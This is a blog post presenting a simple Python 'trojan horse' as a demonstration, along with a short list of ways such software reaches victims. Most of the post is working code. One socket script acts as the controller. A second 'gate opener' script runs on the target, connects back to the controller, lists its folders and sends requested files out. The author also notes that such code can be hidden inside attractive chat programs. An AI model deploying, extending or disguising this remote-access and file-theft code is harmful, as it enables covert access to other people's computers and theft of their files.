Sunday, July 10, 2022

Trojan horse type Python Script

A trojan horse virus is a type of software that don't only enable a hacker gain entry into a target computer or server but enables a hacker deliver the payload, steal important files delete these files and worse destroy the target computer. It serves as the gate opener. In today's post, I have prepared a simple python script(although it is still half baked, it is only meant to demonstrate how a trojan horse type software can actually do) to show how to display the directories, filenames and download a file. Other operations such as, uploading a file, shutting down the target host or deleting a file is not covered. 

I used python socket library achieve this particular goal, in fact the program structure is very similar to the chat script that I created in my other post, in fact hackers create chat scripts like those, make it very attractive to their targets and hide these malicious codes.

Speaking of the delivery systems that hackers use, I have been thinking of  these methods as a possibility that you will be able to get this software by not being aware that you have it:

  • Downloading of files from unsecured servers
  • Visiting websites that have very low reputation
  • Clicking of links from phishing emails
  • Inserting usb  devices and memory cards without scanning for viruses
  • Unupdated Anti Virus
  • No firewalls
  • Using hackable passwords

The code:

1. Controlling software:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import socket

x = socket.socket()
host='DESKTOP-IMR6DAM'#my pc name
port=4040
x.bind((host,port))
print("")
x.listen(1)
conn,addr = x.accept()
print("")


while 1:
  command = input(str("Command >> "))#enter command
  if command == "dir":
    conn.send(command.encode())
    print("")
    files = conn.recv(5000)
    files = files.decode()
    print("Command output: " , files)
  elif command == "files":
    conn.send(command.encode())
    user_input = input(str("Folder: "))
    conn.send(user_input.encode())
    print(" ")
    files = conn.recv(5000)
    files = files.decode()
    print("Files(List Format): " , files)
  elif command == "copyfile":
    conn.send(command.encode())
    filepath= input(str("Filename: "))
    conn.send(filepath.encode())
    print("")
    files = conn.recv(100000)  
    filename= input(str("Filename: "))    
    new_file=open(filename, "wb")
    new_file.write(files)
    print("")
    new_file.close()
  else:
    print("Invalid Command")
  

2. Gate opener:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os
import socket

s = socket.socket()
port=4040
host = 'DESKTOP-IMR6DAM'#this will depend on your hostname
s.connect((host,port))
print("")

while 1:
  command = s.recv(1024)#recieve command
  command = command.decode()
  if command == "dir":
     files = os.getcwd()
     files = str(files)    
     s.send(files.encode())
     print(" ")
  elif command == "files":
    user_input = s.recv(5000)
    user_input = user_input.decode()
    files = os.listdir(user_input)
    files = str(files)
    s.send(files.encode())
    print(" ")
  elif command == "copyfile":
    filepath = s.recv(5000)
    filepath = filepath.decode()
    file = open(filepath,"rb")
    data = file.read()
    s.send(data)
    print("")
  else:
    print("Invalid Command")


No comments:

Post a Comment